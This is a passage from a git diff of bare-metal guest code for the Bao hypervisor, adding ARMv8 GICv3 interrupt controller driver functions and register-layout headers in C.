gicc_save_state(gicc_state_t *state) +//{ +// state->CTLR = MRS(ICC_CTLR_EL1); +// state->PMR = MRS(ICC_PMR_EL1); +// //state->IAR = MRS(ICC_IAR1_EL1); +// state->BPR = MRS(ICC_BPR1_EL1); +// //state->EOIR = MRS(ICC_EOIR1_EL1); +// state->RPR = MRS(ICC_RPR_EL1); +// state->HPPIR = MRS(ICC_HPPIR1_EL1); +// state->priv_ISENABLER = gicr[get_cpuid()].ISENABLER0; +// +// for (int i = 0; i < GIC_NUM_PRIO_REGS(GIC_CPU_PRIV); i++) { +// state->priv_IPRIORITYR[i] = gicr[get_cpuid()].IPRIORITYR[i]; +// } +// +// state->HCR = MRS(ICH_HCR_EL2); +// for (int i = 0; i < gich_num_lrs(); i++) { +// state->LR[i] = gich_read_lr(i); +// } +//} +// +//void gicc_restore_state(gicc_state_t *state) +//{ +// MSR(ICC_CTLR_EL1, state->CTLR); +// MSR(ICC_PMR_EL1, state->PMR); +// MSR(ICC_BPR1_EL1, state->BPR); +// //MSR(ICC_EOIR1_EL1, state->EOIR); +// //MSR(ICC_IAR1_EL1, state->IAR); +// MSR(ICC_RPR_EL1, state->RPR); +// MSR(ICC_HPPIR1_EL1, state->HPPIR); +// gicr[get_cpuid()].ISENABLER0 = state->priv_ISENABLER; +// +// for (int i = 0; i < GIC_NUM_PRIO_REGS(GIC_CPU_PRIV); i++) { +// gicr[get_cpuid()].IPRIORITYR[i] = state->priv_IPRIORITYR[i]; +// } +// +// MSR(ICH_HCR_EL2, state->HCR); +// for (int i = 0; i < gich_num_lrs(); i++) { +// gich_write_lr(i, state->LR[i]); +// } +//} + +void gic_cpu_init() +{ + gicr_init(); + gicc_init(); +} + +void gicd_init() +{ + size_t int_num = gic_num_irqs(); + + /* Bring distributor to known state */ + for (int i = GIC_NUM_PRIVINT_REGS; i < GIC_NUM_INT_REGS(int_num); i++) { + /** + * Make sure all interrupts are not enabled, non pending, + * non active. + */ + gicd->ICENABLER[i] = -1; + gicd->ICPENDR[i] = -1; + gicd->ICACTIVER[i] = -1; + } + + /* All interrupts have lowest priority possible by default */ + for (int i = GIC_CPU_PRIV; i < GIC_NUM_PRIO_REGS(int_num); i++) + gicd->IPRIORITYR[i] = -1; + + /* No CPU targets for any interrupt by default */ + for (int i = GIC_CPU_PRIV; i < GIC_NUM_TARGET_REGS(int_num); i++) + gicd->ITARGETSR[i] = 0; + + /* ICFGR are platform dependent, lets leave them as is */ + + /* No need to setup gicd->NSACR as all interrupts are setup to group 1 */ + + /* Enable distributor and affinity routing */ + gicd->CTLR |= GICD_CTLR_ARE_NS_BIT | GICD_CTLR_ENA_BIT; +} + +void gic_init() +{ + gic_cpu_init(); + + if (get_cpuid() == 0) { + gicd_init(); + } + +} + +void gic_handle() +{ + uint64_t ack = MRS(ICC_IAR1_EL1); + uint64_t id = ack & ((1UL << 24) -1); + + if (id >= 1022) return; + + irq_handle(id); + + MSR(ICC_EOIR1_EL1, ack); + //MSR(ICC_DIR_EL1, ack); +} + +uint64_t gicd_get_prio(uint64_t int_id) +{ + uint64_t reg_ind = GIC_PRIO_REG(int_id); + uint64_t off = GIC_PRIO_OFF(int_id); + + spin_lock(&gicd_lock); + + uint64_t prio = + gicd->IPRIORITYR[reg_ind] >> off & BIT_MASK(off, GIC_PRIO_BITS); + + spin_unlock(&gicd_lock); + + return prio; +} + +void gicd_set_icfgr(uint64_t int_id, uint8_t cfg) +{ + spin_lock(&gicd_lock); + + uint64_t reg_ind = (int_id * GIC_CONFIG_BITS) / (sizeof(uint32_t) * 8); + uint64_t off = (int_id * GIC_CONFIG_BITS) % (sizeof(uint32_t) * 8); + uint64_t mask = ((1U << GIC_CONFIG_BITS) - 1) << off; + + gicd->ICFGR[reg_ind] = (gicd->ICFGR[reg_ind] & ~mask) | ((cfg << off) & mask); + + spin_unlock(&gicd_lock); +} + +void gicd_set_prio(uint64_t int_id, uint8_t prio) +{ + uint64_t reg_ind = GIC_PRIO_REG(int_id); + uint64_t off = GIC_PRIO_OFF(int_id); + uint64_t mask = BIT_MASK(off, GIC_PRIO_BITS); + + spin_lock(&gicd_lock); + + gicd->IPRIORITYR[reg_ind] = + (gicd->IPRIORITYR[reg_ind] & ~mask) | ((prio << off) & mask); + + spin_unlock(&gicd_lock); +} + +enum int_state gicd_get_state(uint64_t int_id) +{ + uint64_t reg_ind = GIC_INT_REG(int_id); + uint64_t mask = GIC_INT_MASK(int_id); + + spin_lock(&gicd_lock); + + enum int_state pend = (gicd->ISPENDR[reg_ind] & mask) ? PEND : 0; + enum int_state act = (gicd->ISACTIVER[reg_ind] & mask) ? ACT : 0; + + spin_unlock(&gicd_lock); + + return pend | act; +} + +static void gicd_set_pend(uint64_t int_id, bool pend) +{ + spin_lock(&gicd_lock); + + if (gic_is_sgi(int_id)) { + uint64_t reg_ind = GICD_SGI_REG(int_id); + uint64_t off = GICD_SGI_OFF(int_id); + + if (pend) { + gicd->SPENDSGIR[reg_ind] = (1U) << (off + get_cpuid()); + } else { + gicd->CPENDSGIR[reg_ind] = BIT_MASK(off, 8); + } + } else { + uint64_t reg_ind = GIC_INT_REG(int_id); + + if (pend) { + gicd->ISPENDR[reg_ind] = GIC_INT_MASK(int_id); + } else { + gicd->ICPENDR[reg_ind] = GIC_INT_MASK(int_id); + } + } + + spin_unlock(&gicd_lock); +} + +void gicd_set_act(uint64_t int_id, bool act) +{ + uint64_t reg_ind = GIC_INT_REG(int_id); + + spin_lock(&gicd_lock); + + if (act) { + gicd->ISACTIVER[reg_ind] = GIC_INT_MASK(int_id); + } else { + gicd->ICACTIVER[reg_ind] = GIC_INT_MASK(int_id); + } + + spin_unlock(&gicd_lock); +} + +void gicd_set_state(uint64_t int_id, enum int_state state) +{ + gicd_set_act(int_id, state & ACT); + gicd_set_pend(int_id, state & PEND); +} + +void gicd_set_trgt(uint64_t int_id, uint8_t trgt) +{ + uint64_t reg_ind = GIC_TARGET_REG(int_id); + uint64_t off = GIC_TARGET_OFF(int_id); + uint32_t mask = BIT_MASK(off, GIC_TARGET_BITS); + + spin_lock(&gicd_lock); + + gicd->ITARGETSR[reg_ind] = + (gicd->ITARGETSR[reg_ind] & ~mask) | ((trgt << off) & mask); + + spin_unlock(&gicd_lock); +} + +void gicd_set_route(uint64_t int_id, uint64_t trgt) +{ + if (gic_is_priv(int_id)) return; + + gicd->IROUTER[int_id] = trgt; +} + +void gicd_set_enable(uint64_t int_id, bool en) +{ + uint64_t bit = GIC_INT_MASK(int_id); + + uint64_t reg_ind = GIC_INT_REG(int_id); + spin_lock(&gicd_lock); + if (en) + gicd->ISENABLER[reg_ind] = bit; + else + gicd->ICENABLER[reg_ind] = bit; + spin_unlock(&gicd_lock); +} + +void gicr_set_prio(uint64_t int_id, uint8_t prio, uint32_t gicr_id) +{ + uint64_t reg_ind = GIC_PRIO_REG(int_id); + uint64_t off = GIC_PRIO_OFF(int_id); + uint64_t mask = BIT_MASK(off, GIC_PRIO_BITS); + + spin_lock(&gicr_lock); + + gicr[gicr_id].IPRIORITYR[reg_ind] = + (gicr[gicr_id].IPRIORITYR[reg_ind] & ~mask) | ((prio << off) & mask); + + spin_unlock(&gicr_lock); +} + +uint64_t gicr_get_prio(uint64_t int_id, uint32_t gicr_id) +{ + uint64_t reg_ind = GIC_PRIO_REG(int_id); + uint64_t off = GIC_PRIO_OFF(int_id); + + spin_lock(&gicr_lock); + + uint64_t prio = + gicr[gicr_id].IPRIORITYR[reg_ind] >> off & BIT_MASK(off, GIC_PRIO_BITS); + + spin_unlock(&gicr_lock); + + return prio; +} + +void gicr_set_icfgr(uint64_t int_id, uint8_t cfg, uint32_t gicr_id) +{ + spin_lock(&gicr_lock); + + uint64_t reg_ind = (int_id * GIC_CONFIG_BITS) / (sizeof(uint32_t) * 8); + uint64_t off = (int_id * GIC_CONFIG_BITS) % (sizeof(uint32_t) * 8); + uint64_t mask = ((1U << GIC_CONFIG_BITS) - 1) << off; + + if (reg_ind == 0) { + gicr[gicr_id].ICFGR0 = + (gicr[gicr_id].ICFGR0 & ~mask) | ((cfg << off) & mask); + } else { + gicr[gicr_id].ICFGR1 = + (gicr[gicr_id].ICFGR1 & ~mask) | ((cfg << off) & mask); + } + + spin_unlock(&gicr_lock); +} + +enum int_state gicr_get_state(uint64_t int_id, uint32_t gicr_id) +{ + uint64_t mask = GIC_INT_MASK(int_id); + + spin_lock(&gicr_lock); + + enum int_state pend = (gicr[gicr_id].ISPENDR0 & mask) ? PEND : 0; + enum int_state act = (gicr[gicr_id].ISACTIVER0 & mask) ? ACT : 0; + + spin_unlock(&gicr_lock); + + return pend | act; +} + +static void gicr_set_pend(uint64_t int_id, bool pend, uint32_t gicr_id) +{ + spin_lock(&gicr_lock); + if (pend) { + gicr[gicr_id].ISPENDR0 = (1U) << (int_id); + } else { + gicr[gicr_id].ICPENDR0 = (1U) << (int_id); + } + spin_unlock(&gicr_lock); +} + +void gicr_set_act(uint64_t int_id, bool act, uint32_t gicr_id) +{ + spin_lock(&gicr_lock); + + if (act) { + gicr[gicr_id].ISACTIVER0 = GIC_INT_MASK(int_id); + } else { + gicr[gicr_id].ICACTIVER0 = GIC_INT_MASK(int_id); + } + + spin_unlock(&gicr_lock); +} + +void gicr_set_state(uint64_t int_id, enum int_state state, uint32_t gicr_id) +{ + gicr_set_act(int_id, state & ACT, gicr_id); + gicr_set_pend(int_id, state & PEND, gicr_id); +} + +void gicr_set_trgt(uint64_t int_id, uint8_t trgt, uint32_t gicr_id) +{ + spin_lock(&gicr_lock); + + spin_unlock(&gicr_lock); +} + +void gicr_set_route(uint64_t int_id, uint8_t trgt, uint32_t gicr_id) +{ + gicr_set_trgt(int_id, trgt, gicr_id); +} + +void gicr_set_enable(uint64_t int_id, bool en, uint32_t gicr_id) +{ + uint64_t bit = GIC_INT_MASK(int_id); + + spin_lock(&gicr_lock); + if (en) + gicr[gicr_id].ISENABLER0 = bit; + else + gicr[gicr_id].ICENABLER0 = bit; + spin_unlock(&gicr_lock); +} + +static bool irq_in_gicd(uint64_t int_id) +{ + if (int_id > 32 && int_id < 1025) return true; + else return false; +} + +void gic_send_sgi(uint64_t cpu_target, uint64_t sgi_num) +{ + if (sgi_num >= GIC_MAX_SGIS) return; + + uint64_t sgi = (1UL << (cpu_target & 0xffull)) | (sgi_num << 24); + MSR(ICC_SGI1R_EL1, sgi); +} + +void gic_set_prio(uint64_t int_id, uint8_t prio) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_prio(int_id, prio); + } else { + return gicr_set_prio(int_id, prio, get_cpuid()); + } +} + +uint64_t gic_get_prio(uint64_t int_id) +{ + if (irq_in_gicd(int_id)) { + return gicd_get_prio(int_id); + } else { + return gicr_get_prio(int_id, get_cpuid()); + } +} + +void gic_set_icfgr(uint64_t int_id, uint8_t cfg) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_icfgr(int_id, cfg); + } else { + return gicr_set_icfgr(int_id, cfg, get_cpuid()); + } +} + +enum int_state gic_get_state(uint64_t int_id) +{ + if (irq_in_gicd(int_id)) { + return gicd_get_state(int_id); + } else { + return gicr_get_state(int_id, get_cpuid()); + } +} + +static void gic_set_pend(uint64_t int_id, bool pend) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_pend(int_id, pend); + } else { + return gicr_set_pend(int_id, pend, get_cpuid()); + } +} + +void gic_set_act(uint64_t int_id, bool act) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_act(int_id, act); + } else { + return gicr_set_act(int_id, act, get_cpuid()); + } +} + +void gic_set_state(uint64_t int_id, enum int_state state) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_state(int_id, state); + } else { + return gicr_set_state(int_id, state, get_cpuid()); + } +} + +void gic_set_trgt(uint64_t int_id, uint8_t trgt) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_trgt(int_id, trgt); + } else { + return gicr_set_trgt(int_id, trgt, get_cpuid()); + } +} + +void gic_set_route(uint64_t int_id, uint64_t trgt) +{ + return gicd_set_route(int_id, trgt); +} + +void gic_set_enable(uint64_t int_id, bool en) +{ + if (irq_in_gicd(int_id)) { + return gicd_set_enable(int_id, en); + } else { + return gicr_set_enable(int_id, en, get_cpuid()); + } +} + diff --git a/bao-baremetal-guest/src/arch/armv8/inc/arch/irq.h b/bao-baremetal-guest/src/arch/armv8/inc/arch/irq.h new file mode 100644 index 0000000..737313a --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/arch/irq.h @@ -0,0 +1,9 @@ +#ifndef ARCH_IRQ_H +#define ARCH_IRQ_H + +#define IPI_IRQ_ID (0) +#define TIMER_IRQ_ID (27) +#define IRQ_NUM (1024) +#define IRQ_MAX_PRIO (0) + +#endif /* ARCH_IRQ_H */ diff --git a/bao-baremetal-guest/src/arch/armv8/inc/arch/timer.h b/bao-baremetal-guest/src/arch/armv8/inc/arch/timer.h new file mode 100644 index 0000000..c32469d --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/arch/timer.h @@ -0,0 +1,8 @@ +#ifndef ARCH_TIMER_H +#define ARCH_TIMER_H + +#include + +extern uint64_t TIMER_FREQ; + +#endif diff --git a/bao-baremetal-guest/src/arch/armv8/inc/cpu.h b/bao-baremetal-guest/src/arch/armv8/inc/cpu.h new file mode 100644 index 0000000..c581130 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/cpu.h @@ -0,0 +1,17 @@ +#ifndef ARCH_CPU_H +#define ARCH_CPU_H + +#include +#include +#include + +static inline uint64_t get_cpuid(){ + uint64_t cpuid = MRS(MPIDR_EL1); + return cpuid & MPIDR_CPU_MASK; +} + +static bool cpu_is_master() { + return get_cpuid() == 0; +} + +#endif diff --git a/bao-baremetal-guest/src/arch/armv8/inc/fences.h b/bao-baremetal-guest/src/arch/armv8/inc/fences.h new file mode 100644 index 0000000..b085f2e --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/fences.h @@ -0,0 +1,55 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __FENCES_ARCH_H__ +#define __FENCES_ARCH_H__ + +#define DMB(shdmn) asm volatile("dmb " #shdmn "\n\t" ::: "memory") + +#define DSB(shdmn) asm volatile("dsb " #shdmn "\n\t" ::: "memory") + +#define ISB() asm volatile("isb\n\t" ::: "memory") + +static inline void fence_ord_write() +{ + DMB(ishst); +} + +static inline void fence_ord_read() +{ + DMB(ishld); +} + +static inline void fence_ord() +{ + DMB(ish); +} + +static inline void fence_sync_write() +{ + DSB(ishst); +} + +static inline void fence_sync_read() +{ + DSB(ishld); +} + +static inline void fence_sync() +{ + DSB(ish); +} + +#endif /* __FENCES_ARCH_H__ */ \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/inc/gic.h b/bao-baremetal-guest/src/arch/armv8/inc/gic.h new file mode 100644 index 0000000..29a8df8 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/inc/gic.h @@ -0,0 +1,336 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Angelo Ruocco + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __GIC_H__ +#define __GIC_H__ + +#include +#include +#include +#include + +#define GICV2 (2) +#define GICV3 (3) + +#define GIC_MAX_INTERUPTS 1024 +#define GIC_MAX_SGIS 16 +#define GIC_MAX_PPIS 16 +#define GIC_CPU_PRIV (GIC_MAX_SGIS + GIC_MAX_PPIS) +#define GIC_MAX_SPIS (GIC_MAX_INTERUPTS - GIC_CPU_PRIV) +#define GIC_PRIO_BITS 8 +#define GIC_TARGET_BITS 8 +#define GIC_MAX_TARGETS GIC_TARGET_BITS +#define GIC_CONFIG_BITS 2 +#define GIC_SEC_BITS 2 +#define GIC_SGI_BITS 8 + +#define GIC_INT_REG(NINT) (NINT / (sizeof(uint32_t) * 8)) +#define GIC_INT_MASK(NINT) (1U << NINT % (sizeof(uint32_t) * 8)) +#define GIC_NUM_INT_REGS(NINT) GIC_INT_REG(NINT) +#define GIC_NUM_PRIVINT_REGS (GIC_CPU_PRIV / (sizeof(uint32_t) * 8)) + +#define GIC_PRIO_REG(NINT) ((NINT * GIC_PRIO_BITS) / (sizeof(uint32_t) * 8)) +#define GIC_NUM_PRIO_REGS(NINT) GIC_PRIO_REG(NINT) +#define GIC_PRIO_OFF(NINT) (NINT * GIC_PRIO_BITS) % (sizeof(uint32_t) * 8) + +#define GIC_TARGET_REG(NINT) ((NINT * GIC_TARGET_BITS) / (sizeof(uint32_t) * 8)) +#define GIC_NUM_TARGET_REGS(NINT) GIC_TARGET_REG(NINT) +#define GIC_TARGET_OFF(NINT) (NINT * GIC_TARGET_BITS) % (sizeof(uint32_t) * 8) + +#define GIC_CONFIG_REG(NINT) ((NINT * GIC_CONFIG_BITS) / (sizeof(uint32_t) * 8)) +#define GIC_NUM_CONFIG_REGS(NINT) GIC_CONFIG_REG(NINT) +#define GIC_CONFIG_OFF(NINT) (NINT * GIC_CONFIG_BITS) % (sizeof(uint32_t) * 8) + +#define GIC_NUM_SEC_REGS(NINT) ((NINT * GIC_SEC_BITS) / (sizeof(uint32_t) * 8)) + +#define GIC_NUM_SGI_REGS \ + ((GIC_MAX_SGIS * GIC_SGI_BITS) / (sizeof(uint32_t) * 8)) +#define GICD_SGI_REG(NINT) (NINT / 4) +#define GICD_SGI_OFF(NINT) ((NINT % 4) * 8) + +#define GIC_NUM_APR_REGS ((1UL << (GIC_PRIO_BITS - 1)) / (sizeof(uint32_t) * 8)) +#define GIC_NUM_LIST_REGS (64) + +/* Distributor Control Register, GICD_CTLR */ + +#define GICD_CTLR_EN_BIT (0x1) +#define GICD_CTLR_ENA_BIT (0x2) +#define GICD_CTLR_ARE_NS_BIT (0x10) + +/* Interrupt Controller Type Register, GICD_TYPER */ + +#define GICD_TYPER_ITLINENUM_OFF (0) +#define GICD_TYPER_ITLINENUM_LEN (5) +#define GICD_TYPER_CPUNUM_OFF (5) +#define GICD_TYPER_CPUNUM_LEN (3) +#define GICD_TYPER_SECUREXT_BIT (1UL << 10) +#define GICD_TYPER_LSPI_OFF (11) +#define GICD_TYPER_LSPI_LEN (6) + +/* Software Generated Interrupt Register, GICD_SGIR */ + +#define GICD_TYPER_ITLN_OFF 0 +#define GICD_TYPER_ITLN_LEN 5 +#define GICD_TYPER_ITLN_MSK BIT_MASK(GICD_TYPER_ITLN_OFF, GICD_TYPER_ITLN_LEN) +#define GICD_TYPER_CPUN_OFF 5 +#define GICD_TYPER_CPUN_LEN 3 +#define GICD_TYPER_CPUN_MSK BIT_MASK(GICD_TYPER_CPUN_OFF, GICD_TYPER_CPUN_LEN) + +#define GICD_SGIR_SGIINTID_OFF 0 +#define GICD_SGIR_SGIINTID_LEN 4 +#define GICD_SGIR_SGIINTID_MSK \ + (BIT_MASK(GICD_SGIR_SGIINTID_OFF, GICD_SGIR_SGIINTID_LEN)) +#define GICD_SGIR_SGIINTID(sgir) \ + bit_extract(sgir, GICD_SGIR_SGIINTID_OFF, GICD_SGIR_SGIINTID_LEN) +#define GICD_SGIR_CPUTRGLST_OFF 16 +#define GICD_SGIR_CPUTRGLST_LEN 8 +#define GICD_SGIR_CPUTRGLST(sgir) \ + bit_extract(sgir, GICD_SGIR_CPUTRGLST_OFF, GICD_SGIR_CPUTRGLST_LEN) +#define GICD_SGIR_TRGLSTFLT_OFF 24 +#define GICD_SGIR_TRGLSTFLT_LEN 2 +#define GICD_SGIR_TRGLSTFLT(sgir) \ + bit_extract(sgir, GICD_SGIR_TRGLSTFLT_OFF, GICD_SGIR_TRGLSTFLT_LEN) + +typedef struct { + uint32_t CTLR; + uint32_t TYPER; + uint32_t IIDR; + uint8_t pad0[0x0010 - 0x000C]; + uint32_t STATUSR; + uint8_t pad1[0x0040 - 0x0014]; + uint32_t SETSPI_NSR; + uint8_t pad2[0x0048 - 0x0044]; + uint32_t CLRSPI_NSR; + uint8_t pad3[0x0050 - 0x004C]; + uint32_t SETSPI_SR; + uint8_t pad4[0x0058 - 0x0054]; + uint32_t CLRSPI_SR; + uint8_t pad9[0x0080 - 0x005C]; + uint32_t IGROUPR[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; // banked CPU + uint32_t ISENABLER[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ICENABLER[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ISPENDR[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ICPENDR[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ISACTIVER[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ICACTIVER[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint32_t IPRIORITYR[GIC_NUM_PRIO_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ITARGETSR[GIC_NUM_TARGET_REGS(GIC_MAX_INTERUPTS)]; + uint32_t ICFGR[GIC_NUM_CONFIG_REGS(GIC_MAX_INTERUPTS)]; + uint32_t IGPRMODR[GIC_NUM_INT_REGS(GIC_MAX_INTERUPTS)]; + uint8_t pad5[0x0E00 - 0x0D80]; + uint32_t NSACR[GIC_NUM_SEC_REGS(GIC_MAX_INTERUPTS)]; + uint32_t SGIR; + uint8_t pad6[0x0F10 - 0x0F04]; + uint32_t CPENDSGIR[GIC_NUM_SGI_REGS]; + uint32_t SPENDSGIR[GIC_NUM_SGI_REGS]; + uint8_t pad7[0x6000 - 0x0F30]; + uint64_t IROUTER[GIC_MAX_INTERUPTS]; + uint8_t pad8[0xFFD0 - 0x8000]; + uint32_t ID[(0x10000 - 0xFFD0) / sizeof(uint32_t)]; +} __attribute__((__packed__, aligned(0x10000))) gicd_t; + +/* Redistributor Wake Register, GICD_WAKER */ + +#define GICR_CTRL_DS_BIT (1 << 6) +#define GICR_ProcessorSleep_BIT (0x2) +#define GICR_ChildrenASleep_BIT (0x4) +typedef struct { + /* RD_base frame */ + uint32_t CTLR; + uint32_t IIDR; + uint64_t TYPER; + uint32_t STATUSR; + uint32_t WAKER; + uint8_t pad0[0x0040 - 0x0018]; + uint64_t SETLPIR; + uint64_t CLRLPIR; + uint8_t pad1[0x0070 - 0x0050]; + uint64_t PROPBASER; + uint64_t PENDBASER; + uint8_t pad2[0x00A0 - 0x0080]; + uint64_t INVLPIR; + uint8_t pad3[0x00B0 - 0x00A8]; + uint64_t INVALLR; + uint8_t pad4[0x00c0 - 0x00b8]; + uint64_t SYNCR; + uint8_t pad5[0xFFD0 - 0x00c8]; + uint32_t ID[(0x10000 - 0xFFD0) / sizeof(uint32_t)]; + + /* SGI_base frame */ + uint8_t sgi_base[0] __attribute__((aligned(0x10000))); + uint8_t pad6[0x0080 - 0x000]; + uint32_t IGROUPR0; + uint8_t pad7[0x0100 - 0x084]; + uint32_t ISENABLER0; + uint8_t pad8[0x0180 - 0x104]; + uint32_t ICENABLER0; + uint8_t pad9[0x0200 - 0x184]; + uint32_t ISPENDR0; + uint8_t pad10[0x0280 - 0x204]; + uint32_t ICPENDR0; + uint8_t pad11[0x0300 - 0x284]; + uint32_t ISACTIVER0; + uint8_t pad12[0x0380 - 0x304]; + uint32_t ICACTIVER0; + uint8_t pad13[0x0400 - 0x384]; + uint32_t IPRIORITYR[GIC_NUM_PRIO_REGS(GIC_CPU_PRIV)]; + uint8_t pad14[0x0c00 - 0x420]; + uint32_t ICFGR0; + uint32_t ICFGR1; + uint8_t pad15[0x0D00 - 0xc08]; + uint32_t IGRPMODR0; + uint8_t pad16[0x0e00 - 0xd04]; + uint32_t NSACR; +} __attribute__((__packed__, aligned(0x10000))) gicr_t; + +/* CPU Interface Control Register, GICC_CTLR */ + +#define GICC_CTLR_EN_BIT (0x1) +#define GICC_CTLR_EOImodeNS_BIT (1UL << 9) +#define GICC_CTLR_WR_MSK (0x1) +#define GICC_IAR_ID_OFF (0) +#define GICC_IAR_ID_LEN (10) +#define GICC_IAR_ID_MSK (BIT_MASK(GICC_IAR_ID_OFF, GICC_IAR_ID_LEN)) +#define GICC_IAR_CPU_OFF (10) +#define GICC_IAR_CPU_LEN (3) +#define GICC_IAR_CPU_MSK (BIT_MASK(GICC_IAR_CPU_OFF, GICC_IAR_CPU_LEN)) + +typedef struct { + uint32_t CTLR; + uint32_t PMR; + uint32_t BPR; + uint32_t IAR; + uint32_t EOIR; + uint32_t RPR; + uint32_t HPPIR; + uint32_t ABPR; + uint32_t AIAR; + uint32_t AEOIR; + uint32_t AHPPIR; + uint8_t pad0[0x00D0 - 0x002C]; + uint32_t APR[GIC_NUM_APR_REGS]; + uint32_t NSAPR[GIC_NUM_APR_REGS]; + uint8_t pad1[0x00FC - 0x00F0]; + uint32_t IIDR; + uint8_t pad2[0x1000 - 0x0100]; + uint32_t DIR; +} __attribute__((__packed__, aligned(0x1000))) gicc_t; + +#define GICH_HCR_En_BIT (1 << 0) +#define GICH_HCR_UIE_BIT (1 << 1) +#define GICH_HCR_LRENPIE_BIT (1 << 2) +#define GICH_HCR_NPIE_BIT (1 << 3) +#define GICH_HCR_VGrp0DIE_BIT (1 << 4) +#define GICH_HCR_VGrp0EIE_BIT (1 << 5) +#define GICH_HCR_VGrp1EIE_BIT (1 << 6) +#define GICH_HCR_VGrp1DIE_BIT (1 << 7) +#define GICH_HCR_EOICount_OFF (27) +#define GICH_HCR_EOICount_LEN (5) +#define GICH_HCR_EOICount_MASK \ + BIT_MASK(GICH_HCR_EOICount_OFF, GICH_HCR_EOICount_LEN) + +#define GICH_VTR_OFF (0) +#define GICH_VTR_LEN (6) +#define GICH_VTR_MSK BIT_MASK(GICH_VTR_OFF, GICH_VTR_LEN) + +#define GICH_LR_VID_OFF (0) +#define GICH_LR_VID_LEN (10) +#define GICH_LR_VID_MSK BIT_MASK(GICH_LR_VID_OFF, GICH_LR_VID_LEN) +#define GICH_LR_VID(LR) (bit_extract(LR, GICH_LR_VID_OFF, GICH_LR_VID_LEN)) + +#define GICH_LR_PID_OFF (10) +#define GICH_LR_PID_LEN (10) +#define GICH_LR_PID_MSK BIT_MASK(GICH_LR_PID_OFF, GICH_LR_PID_LEN) +#define GICH_LR_CPUID_OFF (10) +#define GICH_LR_CPUID_LEN (3) +#define GICH_LR_CPUID_MSK BIT_MASK(GICH_LR_CPUID_OFF, GICH_LR_CPUID_LEN) +#define GICH_LR_CPUID(LR) \ + (bit_extract(LR, GICH_LR_CPUID_OFF, GICH_LR_CPUID_LEN)) +#define GICH_LR_PRIO_OFF (23) +#define GICH_LR_PRIO_LEN (5) +#define GICH_LR_PRIO_MSK BIT_MASK(GICH_LR_PRIO_OFF, GICH_LR_PRIO_LEN) +#define GICH_LR_STATE_OFF (28) +#define GICH_LR_STATE_LEN (2) +#define GICH_LR_STATE_MSK BIT_MASK(GICH_LR_STATE_OFF, GICH_LR_STATE_LEN) +#define GICH_LR_STATE(LR) \ + (bit_extract(LR, GICH_LR_STATE_OFF, GICH_LR_STATE_LEN)) + +#define GICH_LR_STATE_INV ((0 << GICH_LR_STATE_OFF) & GICH_LR_STATE_MSK) +#define GICH_LR_STATE_PND ((1 << GICH_LR_STATE_OFF) & GICH_LR_STATE_MSK) +#define GICH_LR_STATE_ACT ((2 << GICH_LR_STATE_OFF) & GICH_LR_STATE_MSK) +#define GICH_LR_STATE_ACTPEND ((3 << GICH_LR_STATE_OFF) & GICH_LR_STATE_MSK) + +#define GICH_LR_HW_BIT (1U << 31) +#define GICH_LR_EOI_BIT (1U << 19) + +#define GICH_MISR_EOI (1U << 0) +#define GICH_MISR_U (1U << 1) +#define GICH_MISR_LRPEN (1U << 2) +#define GICH_MISR_NP (1U << 3) +#define GICH_MISR_VGrp0E (1U << 4) +#define GICH_MISR_VGrp0D (1U << 5) +#define GICH_MISR_VGrp1E (1U << 6) +#define GICH_MISR_VGrp1D (1U << 7) + +enum int_state { INV, PEND, ACT, PENDACT }; + +void gic_init(); +void gic_cpu_init(); +void gic_send_sgi(uint64_t cpu_target, uint64_t sgi_num); + +void gic_set_enable(uint64_t int_id, bool en); +void gic_set_prio(uint64_t int_id, uint8_t prio); +void gic_set_icfgr(uint64_t int_id, uint8_t cfg); +void gic_set_act(uint64_t int_id, bool act); +void gic_set_state(uint64_t int_id, enum int_state state); +void gic_set_trgt(uint64_t int_id, uint8_t trgt); +void gic_set_route(uint64_t int_id, uint64_t trgt); +uint64_t gic_get_prio(uint64_t int_id); +uint8_t gic_get_trgt(uint64_t int_id); +enum int_state gic_get_state(uint64_t int_id); + +void gicd_set_enable(uint64_t int_id, bool en); +void gicd_set_prio(uint64_t int_id, uint8_t prio); +void gicd_set_icfgr(uint64_t int_id, uint8_t cfg); +void gicd_set_act(uint64_t int_id, bool act); +void gicd_set_state(uint64_t int_id, enum int_state state); +void gicd_set_trgt(uint64_t int_id, uint8_t trgt); +void gicd_set_route(uint64_t int_id, uint64_t trgt); +uint64_t gicd_get_prio(uint64_t int_id); +enum int_state gicd_get_state(uint64_t int_id); +uint64_t gic_num_irqs(); + +void gicr_set_enable(uint64_t int_id, bool en, uint32_t gicr_id); +void gicr_set_prio(uint64_t int_id, uint8_t prio, uint32_t gicr_id); +void gicr_set_icfgr(uint64_t int_id, uint8_t cfg, 